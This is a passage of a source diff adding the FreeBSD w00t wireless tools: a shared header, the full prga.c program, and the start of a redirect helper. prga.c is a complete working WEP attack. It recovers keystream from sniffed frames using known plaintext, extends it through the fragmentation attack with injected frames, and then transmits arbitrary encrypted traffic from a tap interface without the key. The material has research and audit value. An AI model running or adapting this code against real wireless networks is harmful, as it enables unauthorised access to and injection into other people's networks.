|
||||
el = now->tv_sec - past->tv_sec;
|
||||
assert(el >= 0);
|
||||
if (el == 0) {
|
||||
el = now->tv_usec - past->tv_usec;
|
||||
} else {
|
||||
el = (el - 1)*1000*1000;
|
||||
el += 1000*1000-past->tv_usec;
|
||||
el += now->tv_usec;
|
||||
}
|
||||
|
||||
return el;
|
||||
}
|
||||
|
||||
static int is_arp(struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
/* XXX */
|
||||
if (len > (sizeof(*wh) + 4 + 4 + 39))
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
char *known_pt(struct ieee80211_frame *wh, int *len)
|
||||
{
|
||||
static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
|
||||
static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
|
||||
int arp;
|
||||
|
||||
arp = is_arp(wh, *len);
|
||||
*len = 8;
|
||||
if (arp)
|
||||
return known_pt_arp;
|
||||
else
|
||||
return known_pt_ip;
|
||||
}
|
57
tools/tools/net80211/w00t/libw00t/w00t.h
Normal file
57
tools/tools/net80211/w00t/libw00t/w00t.h
Normal file
@ -0,0 +1,57 @@
|
||||
/*-
|
||||
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#ifndef __W00T_H__
|
||||
#define __W00T_H__
|
||||
|
||||
#include <net80211/ieee80211.h>
|
||||
#include <net80211/ieee80211_freebsd.h>
|
||||
|
||||
int str2mac(char *mac, char *str);
|
||||
void mac2str(char *str, char *mac);
|
||||
int open_tx(char *iface);
|
||||
int open_rx(char *iface);
|
||||
int open_rxtx(char *iface, int *rx, int *tx);
|
||||
int inject(int fd, void *buf, int len);
|
||||
int inject_params(int fd, void *buf, int len,
|
||||
struct ieee80211_bpf_params *params);
|
||||
int sniff(int fd, void *buf, int len);
|
||||
void *get_wifi(void *buf, int *len);
|
||||
short seqfn(unsigned short seq, unsigned short fn);
|
||||
int send_ack(int fd, char *mac);
|
||||
unsigned short seqno(struct ieee80211_frame *wh);
|
||||
int open_tap(char *iface);
|
||||
int set_iface_mac(char *iface, char *mac);
|
||||
int str2wep(char *wep, int *len, char *str);
|
||||
int wep_decrypt(struct ieee80211_frame *wh, int len, char *key, int klen);
|
||||
void wep_encrypt(struct ieee80211_frame *wh, int len, char *key, int klen);
|
||||
int frame_type(struct ieee80211_frame *wh, int type, int stype);
|
||||
void hexdump(void *b, int len);
|
||||
int elapsed(struct timeval *past, struct timeval *now);
|
||||
char *known_pt(struct ieee80211_frame *wh, int *len);
|
||||
|
||||
#endif /* __W00T_H__ */
|
7
tools/tools/net80211/w00t/prga/Makefile
Normal file
7
tools/tools/net80211/w00t/prga/Makefile
Normal file
@ -0,0 +1,7 @@
|
||||
# $FreeBSD$
|
||||
|
||||
.include <../Makefile.inc>
|
||||
|
||||
PROG= prga
|
||||
|
||||
.include <bsd.prog.mk>
|
664
tools/tools/net80211/w00t/prga/prga.c
Normal file
664
tools/tools/net80211/w00t/prga/prga.c
Normal file
@ -0,0 +1,664 @@
|
||||
/*-
|
||||
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#include <sys/endian.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/select.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <err.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <assert.h>
|
||||
#include <zlib.h>
|
||||
#include "w00t.h"
|
||||
|
||||
|
||||
static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
|
||||
static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
|
||||
static int known_pt_len = 8;
|
||||
|
||||
enum {
|
||||
S_START = 0,
|
||||
S_SEND_FRAG,
|
||||
S_WAIT_ACK,
|
||||
S_WAIT_RELAY
|
||||
};
|
||||
|
||||
struct params {
|
||||
int tx;
|
||||
int rx;
|
||||
|
||||
char mac[6];
|
||||
char ap[6];
|
||||
|
||||
char prga[2048];
|
||||
int prga_len;
|
||||
char iv[3];
|
||||
|
||||
char *fname;
|
||||
|
||||
struct timeval last;
|
||||
char packet[2048];
|
||||
int packet_len;
|
||||
int state;
|
||||
|
||||
char data[2048];
|
||||
char *data_ptr;
|
||||
int data_len;
|
||||
int data_try;
|
||||
int mtu;
|
||||
|
||||
int seq;
|
||||
int frag;
|
||||
|
||||
int tap;
|
||||
};
|
||||
|
||||
void usage(char *p)
|
||||
{
|
||||
printf("Usage: %s <opts>\n"
|
||||
"-h\thelp\n"
|
||||
"-b\t<bssid>\n"
|
||||
"-t\t<tap>\n"
|
||||
, p);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void load_prga(struct params *p)
|
||||
{
|
||||
int fd;
|
||||
int rd;
|
||||
|
||||
fd = open(p->fname, O_RDONLY);
|
||||
if (fd == -1) {
|
||||
p->prga_len = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
rd = read(fd, p->iv, 3);
|
||||
if (rd == -1)
|
||||
err(1, "read()");
|
||||
if (rd != 3) {
|
||||
printf("Short read\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
rd = read(fd, p->prga, sizeof(p->prga));
|
||||
if (rd == -1)
|
||||
err(1, "read()");
|
||||
p->prga_len = rd;
|
||||
|
||||
printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
void save_prga(struct params *p)
|
||||
{
|
||||
int fd;
|
||||
int rd;
|
||||
|
||||
fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
|
||||
if (fd == -1)
|
||||
err(1, "open()");
|
||||
|
||||
rd = write(fd, p->iv, 3);
|
||||
if (rd == -1)
|
||||
err(1, "write()");
|
||||
if (rd != 3) {
|
||||
printf("Short write\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
rd = write(fd, p->prga, p->prga_len);
|
||||
if (rd == -1)
|
||||
err(1, "write()");
|
||||
if (rd != p->prga_len) {
|
||||
printf("Wrote %d/%d\n", rd, p->prga_len);
|
||||
exit(1);
|
||||
}
|
||||
close(fd);
|
||||
|
||||
printf("Got %d bytes of PRGA\n", p->prga_len);
|
||||
}
|
||||
|
||||
int is_arp(struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
/* XXX */
|
||||
if (len > (sizeof(*wh) + 4 + 4 + 39))
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
void get_prga(struct params *p)
|
||||
{
|
||||
char buf[4096];
|
||||
int rc;
|
||||
struct ieee80211_frame *wh;
|
||||
char *bssid;
|
||||
char *ptr;
|
||||
char *known_pt;
|
||||
|
||||
rc = sniff(p->rx, buf, sizeof(buf));
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return;
|
||||
|
||||
if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
|
||||
IEEE80211_FC0_SUBTYPE_DATA))
|
||||
return;
|
||||
|
||||
if (is_arp(wh, rc))
|
||||
known_pt = known_pt_arp;
|
||||
else
|
||||
known_pt = known_pt_ip;
|
||||
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
|
||||
bssid = wh->i_addr1;
|
||||
else
|
||||
bssid = wh->i_addr2;
|
||||
|
||||
if (memcmp(p->ap, bssid, 6) != 0)
|
||||
return;
|
||||
|
||||
if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
|
||||
printf("Packet not WEP!\n");
|
||||
return;
|
||||
}
|
||||
|
||||
ptr = (char*) (wh+1);
|
||||
memcpy(p->iv, ptr, 3);
|
||||
ptr += 4;
|
||||
rc -= sizeof(wh) + 4;
|
||||
|
||||
assert(rc >= known_pt_len);
|
||||
|
||||
for (rc = 0; rc < known_pt_len; rc++) {
|
||||
p->prga[rc] = known_pt[rc] ^ (*ptr);
|
||||
ptr++;
|
||||
}
|
||||
|
||||
p->prga_len = rc;
|
||||
save_prga(p);
|
||||
}
|
||||
|
||||
void start(struct params *p)
|
||||
{
|
||||
int len;
|
||||
|
||||
len = p->prga_len;
|
||||
len -= 4;
|
||||
assert(len > 0);
|
||||
|
||||
len *= 4;
|
||||
if (len > p->mtu)
|
||||
len = p->mtu;
|
||||
|
||||
p->data_len = len;
|
||||
memset(p->data, 0, p->data_len);
|
||||
memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
|
||||
p->data_ptr = p->data;
|
||||
p->data_try = 0;
|
||||
p->seq++;
|
||||
p->frag = 0;
|
||||
p->state = S_SEND_FRAG;
|
||||
}
|
||||
|
||||
void send_packet(struct params *p)
|
||||
{
|
||||
int rc;
|
||||
struct ieee80211_frame *wh;
|
||||
|
||||
rc = inject(p->tx, p->packet, p->packet_len);
|
||||
if (rc == -1)
|
||||
err(1, "inject()");
|
||||
if (rc != p->packet_len) {
|
||||
printf("Wrote %d/%d\n", rc, p->packet_len);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
p->data_try++;
|
||||
wh = (struct ieee80211_frame*) p->packet;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_RETRY;
|
||||
|
||||
if (gettimeofday(&p->last, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
}
|
||||
|
||||
void send_frag(struct params *p)
|
||||
{
|
||||
struct ieee80211_frame *wh;
|
||||
int dlen, rem;
|
||||
int last = 0;
|
||||
short *seqp;
|
||||
char *ptr;
|
||||
uLong *pcrc;
|
||||
uLong crc = crc32(0L, Z_NULL, 0);
|
||||
int i;
|
||||
|
||||
memset(p->packet, 0, sizeof(p->packet));
|
||||
wh = (struct ieee80211_frame*) p->packet;
|
||||
|
||||
/* calculate how much data we need to copy */
|
||||
dlen = p->prga_len - 4;
|
||||
rem = p->data_ptr - p->data;
|
||||
rem = p->data_len - rem;
|
||||
|
||||
if (rem <= dlen) {
|
||||
dlen = rem;
|
||||
last = 1;
|
||||
}
|
||||
|
||||
/* 802.11 */
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_WEP;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
|
||||
if (!last)
|
||||
wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
|
||||
|
||||
wh->i_dur[0] = 0x69;
|
||||
wh->i_dur[1] = 0x00;
|
||||
|
||||
memcpy(wh->i_addr1, p->ap, 6);
|
||||
memcpy(wh->i_addr2, p->mac, 6);
|
||||
memset(wh->i_addr3, 0xff, 6);
|
||||
|
||||
seqp = (short*) wh->i_seq;
|
||||
*seqp = seqfn(p->seq, p->frag);
|
||||
p->frag++;
|
||||
|
||||
/* IV & data */
|
||||
ptr = (char*) (wh+1);
|
||||
memcpy(ptr, p->iv, 3);
|
||||
ptr += 4;
|
||||
memcpy(ptr, p->data_ptr, dlen);
|
||||
|
||||
/* crc */
|
||||
crc = crc32(crc, ptr, dlen);
|
||||
pcrc = (uLong*) (ptr+dlen);
|
||||
*pcrc = crc;
|
||||
|
||||
/* wepify */
|
||||
for (i = 0; i < dlen+4; i++)
|
||||
ptr[i] = ptr[i] ^ p->prga[i];
|
||||
|
||||
/* prepare for next frag */
|
||||
p->packet_len = sizeof(*wh) + 4 + dlen + 4;
|
||||
p->data_ptr += dlen;
|
||||
#if 0
|
||||
printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
|
||||
p->seq, p->frag, dlen);
|
||||
#endif
|
||||
if (last) {
|
||||
p->data_ptr = p->data;
|
||||
p->frag = 0;
|
||||
p->seq++;
|
||||
}
|
||||
|
||||
/* send it off */
|
||||
send_packet(p);
|
||||
p->state = S_WAIT_ACK;
|
||||
}
|
||||
|
||||
void wait_ack(struct params *p)
|
||||
{
|
||||
struct timeval now;
|
||||
int el;
|
||||
int tout = 10*1000;
|
||||
fd_set fds;
|
||||
int rc;
|
||||
char buf[4096];
|
||||
struct ieee80211_frame *wh;
|
||||
|
||||
if (gettimeofday(&now, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
|
||||
/* check for timeout */
|
||||
el = elapsed(&p->last, &now);
|
||||
if (el >= tout) {
|
||||
if (p->data_try >= 3) {
|
||||
#if 0
|
||||
printf("Re-sending whole lot\n");
|
||||
#endif
|
||||
p->state = S_START;
|
||||
return;
|
||||
}
|
||||
#if 0
|
||||
printf("Re-sending frag\n");
|
||||
#endif
|
||||
send_packet(p);
|
||||
el = 0;
|
||||
}
|
||||
|
||||
el = tout - el;
|
||||
now.tv_sec = el/1000/1000;
|
||||
now.tv_usec = el - now.tv_sec*1000*1000;
|
||||
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(p->rx, &fds);
|
||||
if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
|
||||
err(1, "select()");
|
||||
|
||||
if (!FD_ISSET(p->rx, &fds))
|
||||
return;
|
||||
|
||||
/* grab ack */
|
||||
rc = sniff(p->rx, buf, sizeof(buf));
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return;
|
||||
|
||||
if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
|
||||
return;
|
||||
|
||||
if (memcmp(p->mac, wh->i_addr1, 6) != 0)
|
||||
return;
|
||||
|
||||
/* wait for relay */
|
||||
if (p->frag == 0) {
|
||||
p->state = S_WAIT_RELAY;
|
||||
if (gettimeofday(&p->last, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
}
|
||||
else
|
||||
p->state = S_SEND_FRAG;
|
||||
}
|
||||
|
||||
void wait_relay(struct params *p)
|
||||
{
|
||||
int tout = 20*1000;
|
||||
struct timeval now;
|
||||
int el;
|
||||
fd_set fds;
|
||||
int rc;
|
||||
char buf[4096];
|
||||
struct ieee80211_frame *wh;
|
||||
char *ptr;
|
||||
uLong crc = crc32(0L, Z_NULL, 0);
|
||||
uLong *pcrc;
|
||||
|
||||
if (gettimeofday(&now, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
|
||||
el = elapsed(&p->last, &now);
|
||||
if (el >= tout) {
|
||||
#if 0
|
||||
printf("No relay\n");
|
||||
#endif
|
||||
p->state = S_START;
|
||||
return;
|
||||
}
|
||||
el = tout - el;
|
||||
now.tv_sec = el/1000/1000;
|
||||
now.tv_usec = el - now.tv_sec*1000*1000;
|
||||
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(p->rx, &fds);
|
||||
if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
|
||||
err(1, "select()");
|
||||
|
||||
if (!FD_ISSET(p->rx, &fds))
|
||||
return;
|
||||
|
||||
/* get relay */
|
||||
rc = sniff(p->rx, buf, sizeof(buf));
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return;
|
||||
|
||||
if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
|
||||
IEEE80211_FC0_SUBTYPE_DATA))
|
||||
return;
|
||||
|
||||
if (memcmp(wh->i_addr2, p->ap, 6) != 0)
|
||||
return;
|
||||
|
||||
if (memcmp(wh->i_addr3, p->mac, 6) != 0)
|
||||
return;
|
||||
|
||||
if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
|
||||
return;
|
||||
|
||||
/* lends different due to padding? */
|
||||
if ( (rc - sizeof(*wh) - 8) != p->data_len)
|
||||
return;
|
||||
|
||||
/* grab new PRGA */
|
||||
assert(p->data_len >= p->prga_len);
|
||||
ptr = (char*) (wh+1);
|
||||
memcpy(p->iv, ptr, 3);
|
||||
ptr += 4;
|
||||
|
||||
crc = crc32(crc, p->data, p->data_len);
|
||||
pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
|
||||
*pcrc = crc;
|
||||
|
||||
for (rc = 0; rc < p->data_len+4; rc++)
|
||||
p->prga[rc] = p->data[rc] ^ ptr[rc];
|
||||
|
||||
p->prga_len = p->data_len+4;
|
||||
p->state = S_START;
|
||||
save_prga(p);
|
||||
}
|
||||
|
||||
void get_more_prga(struct params *p)
|
||||
{
|
||||
switch (p->state) {
|
||||
case S_START:
|
||||
start(p);
|
||||
break;
|
||||
|
||||
case S_SEND_FRAG:
|
||||
send_frag(p);
|
||||
break;
|
||||
|
||||
case S_WAIT_ACK:
|
||||
wait_ack(p);
|
||||
break;
|
||||
|
||||
case S_WAIT_RELAY:
|
||||
wait_relay(p);
|
||||
break;
|
||||
|
||||
default:
|
||||
printf("WTF %d\n", p->state);
|
||||
abort();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void read_tap(struct params *p)
|
||||
{
|
||||
int offset;
|
||||
char *ptr;
|
||||
struct ieee80211_frame *wh;
|
||||
int rc;
|
||||
char dst[6];
|
||||
short *seq;
|
||||
uLong *pcrc;
|
||||
uLong crc = crc32(0L, Z_NULL, 0);
|
||||
|
||||
memset(p->packet, 0, sizeof(p->packet));
|
||||
offset = sizeof(*wh) + 4 + 8 - 14;
|
||||
rc = sizeof(p->packet) - offset;
|
||||
ptr = &p->packet[offset];
|
||||
|
||||
rc = read(p->tap, ptr, rc);
|
||||
if (rc == -1)
|
||||
err(1, "read()");
|
||||
|
||||
memcpy(dst, ptr, sizeof(dst));
|
||||
wh = (struct ieee80211_frame*) p->packet;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_WEP;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
|
||||
|
||||
wh->i_dur[0] = 0x69;
|
||||
|
||||
memcpy(wh->i_addr1, p->ap, 6);
|
||||
memcpy(wh->i_addr2, p->mac, 6);
|
||||
memcpy(wh->i_addr3, dst, 6);
|
||||
|
||||
seq = (short*) wh->i_seq;
|
||||
*seq = seqfn(p->seq++, 0);
|
||||
|
||||
/* data */
|
||||
ptr = (char*) (wh+1);
|
||||
memcpy(ptr, p->iv, 3);
|
||||
ptr += 3;
|
||||
*ptr++ = 0;
|
||||
memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
|
||||
rc -= 14;
|
||||
rc += 8;
|
||||
|
||||
crc = crc32(crc, ptr, rc);
|
||||
pcrc = (uLong*) (ptr+rc);
|
||||
*pcrc = crc;
|
||||
|
||||
rc += 4;
|
||||
|
||||
assert(p->prga_len >= rc);
|
||||
|
||||
/* wepify */
|
||||
for (offset = 0; offset < rc; offset++)
|
||||
ptr[offset] ^= p->prga[offset];
|
||||
|
||||
p->packet_len = sizeof(*wh) + 4 + rc;
|
||||
p->data_try = 0;
|
||||
send_packet(p);
|
||||
p->state = S_WAIT_ACK;
|
||||
}
|
||||
|
||||
/* XXX */
|
||||
void wait_tap_ack(struct params *p)
|
||||
{
|
||||
p->data_try = 0;
|
||||
p->frag = 1;
|
||||
wait_ack(p);
|
||||
|
||||
if (p->state == S_SEND_FRAG) {
|
||||
#if 0
|
||||
printf("Got ACK\n");
|
||||
#endif
|
||||
p->state = S_START;
|
||||
}
|
||||
}
|
||||
|
||||
void transmit(struct params *p)
|
||||
{
|
||||
switch (p->state) {
|
||||
case S_START:
|
||||
read_tap(p);
|
||||
break;
|
||||
|
||||
case S_WAIT_ACK:
|
||||
wait_tap_ack(p);
|
||||
break;
|
||||
|
||||
default:
|
||||
printf("wtf %d\n", p->state);
|
||||
abort();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
struct params p;
|
||||
char *iface = "ath0";
|
||||
char *tap = "tap0";
|
||||
int ch;
|
||||
|
||||
memset(&p, 0, sizeof(p));
|
||||
p.fname = "prga.log";
|
||||
memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
|
||||
p.state = S_START;
|
||||
p.mtu = 1500;
|
||||
p.seq = getpid();
|
||||
|
||||
while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
|
||||
switch (ch) {
|
||||
case 'b':
|
||||
if (str2mac(p.ap, optarg) == -1) {
|
||||
printf("Can't parse BSSID\n");
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
|
||||
case 't':
|
||||
tap = optarg;
|
||||
break;
|
||||
|
||||
case 'h':
|
||||
default:
|
||||
usage(argv[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* init */
|
||||
if ((p.rx = open_rx(iface)) == -1)
|
||||
err(1, "open_rx()");
|
||||
if ((p.tx = open_tx(iface)) == -1)
|
||||
err(1, "open_tx()");
|
||||
|
||||
if ((p.tap = open_tap(tap)) == -1)
|
||||
err(1, "open_tap()");
|
||||
if (set_iface_mac(tap, p.mac) == -1)
|
||||
err(1, "set_iface_mac()");
|
||||
|
||||
printf("Obtaining PRGA\n");
|
||||
/* make sure we got some prga */
|
||||
load_prga(&p);
|
||||
|
||||
while (p.prga_len == 0)
|
||||
get_prga(&p);
|
||||
|
||||
/* lets grab some more */
|
||||
while (p.prga_len < p.mtu)
|
||||
get_more_prga(&p);
|
||||
|
||||
/* transmit */
|
||||
p.state = S_START;
|
||||
while (1)
|
||||
transmit(&p);
|
||||
|
||||
exit(0);
|
||||
}
|
7
tools/tools/net80211/w00t/redir/Makefile
Normal file
7
tools/tools/net80211/w00t/redir/Makefile
Normal file
@ -0,0 +1,7 @@
|
||||
# $FreeBSD$
|
||||
|
||||
.include <../Makefile.inc>
|
||||
|
||||
PROG= redir
|
||||
|
||||
.include <bsd.prog.mk>
|
158
tools/tools/net80211/w00t/redir/buddy.c
Normal file
158
tools/tools/net80211/w00t/redir/buddy.c
Normal file
@ -0,0 +1,158 @@
|
||||
/*-
|
||||
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#include <sys/uio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in_systm.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
#include <err.h>
|
||||
|
||||
void hexdump(void *b, int len)
|
||||
{
|
||||
unsigned char *p = (unsigned char*) b;
|
||||
|
||||
while (len--)
|
||||
printf("%.2X ", *p++);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
int handle_data(int dude, char *buf, int len)
|
||||
{
|
||||
struct ip *ih;
|
||||
unsigned short id;
|
||||
char tmp[4];
|
||||
struct iovec iov[2];
|
||||
struct msghdr mh;
|
||||
|
||||
ih = (struct ip*) buf;
|
||||
|
||||
/* XXX IP FRAGS */
|
||||
|
||||
/* filter */
|
||||
if (ih->ip_p != 0)
|
||||
return 0;
|
||||
|
||||
if (ih->ip_hl != 5)
|
||||
return 0;
|
||||
|
||||
/* get info */
|
||||
id = ih->ip_id;
|
||||
len -= 20;
|
||||
buf += 20;
|
||||
printf("Got %d bytes [%d]\n", len, ntohs(id));
|
||||
#if 0
|
||||
hexdump(buf, len);
|
||||
#endif
|
||||
|
||||
/* prepare packet */
|
||||
memcpy(tmp, &id, 2);
|
||||
id = htons(len);
|
||||
memcpy(&tmp[2], &id, 2);
|
||||
|
||||
iov[0].iov_base = tmp;
|
||||
iov[0].iov_len = 4;
|
||||
iov[1].iov_base = buf;
|
||||
iov[1].iov_len = len;
|
||||
|
||||
memset(&mh, 0, sizeof(mh));
|
||||
mh.msg_iov = iov;
|
||||
mh.msg_iovlen = sizeof(iov)/sizeof(struct iovec);
|
||||
|
||||
/* write */
|
||||
if (sendmsg(dude, &mh, 0) != (4 + len))
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void handle_dude(int dude, int raw)
|
||||
{
|
||||
char buf[4096];
|
||||
int rd;
|
||||
|
||||
while (1) {
|
||||
rd = recv(raw, buf, sizeof(buf), 0);
|
||||
if (rd == -1)
|
||||
err(1, "recv()");
|
||||
|
||||
if (handle_data(dude, buf, rd) == -1)
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void hand(int s)
|
||||
{
|
||||
printf("sigpipe\n");
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int s, dude;
|
||||
struct sockaddr_in s_in;
|
